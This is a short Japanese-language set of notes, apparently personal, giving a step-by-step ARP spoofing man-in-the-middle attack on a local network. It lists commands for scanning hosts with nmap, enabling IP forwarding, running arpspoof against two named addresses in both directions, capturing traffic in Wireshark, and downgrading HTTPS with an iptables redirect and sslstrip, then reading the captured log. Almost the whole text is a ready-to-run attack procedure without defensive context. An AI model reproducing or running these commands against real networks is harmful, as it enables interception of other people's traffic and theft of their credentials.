ARPスプーフィング(中間者攻撃)

1. 攻撃対象のIPアドレス取得

ifconfig

arp -a

nmap -F 192.168.100.0/24

などなど

1で有効

echo 1 > /proc/sys/net/ipv4/ip_forward

0で無効

echo 0 > /proc/sys/net/ipv4/ip_forward

このとき無効化にするとイルミパケットでpingが吸い込まれる様子が確認できる．

NICを wlan0 に指定して，192.168.100.123 のARPテーブルにある 192.168.100.124 のMACアドレスを攻撃者(自身)のMACアドレスに書き換える

sudo arpspoof -i wlan0 -t 192.168.100.123 192.168.100.124

NICを wlan0 に指定して，192.168.100.124 のARPテーブルにある 192.168.100.123 のMACアドレスを攻撃者(自身)のMACアドレスに書き換える

sudo arpspoof -i wlan0 -t 192.168.100.124 192.168.100.123

注意：送信と受信両方が攻撃者PCを経由して通信するようにする為，別ターミナルで2回実行する必要がある！

wireshark

sslストリップ

iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080

sslstrip -l 8080

cat sslstrip.log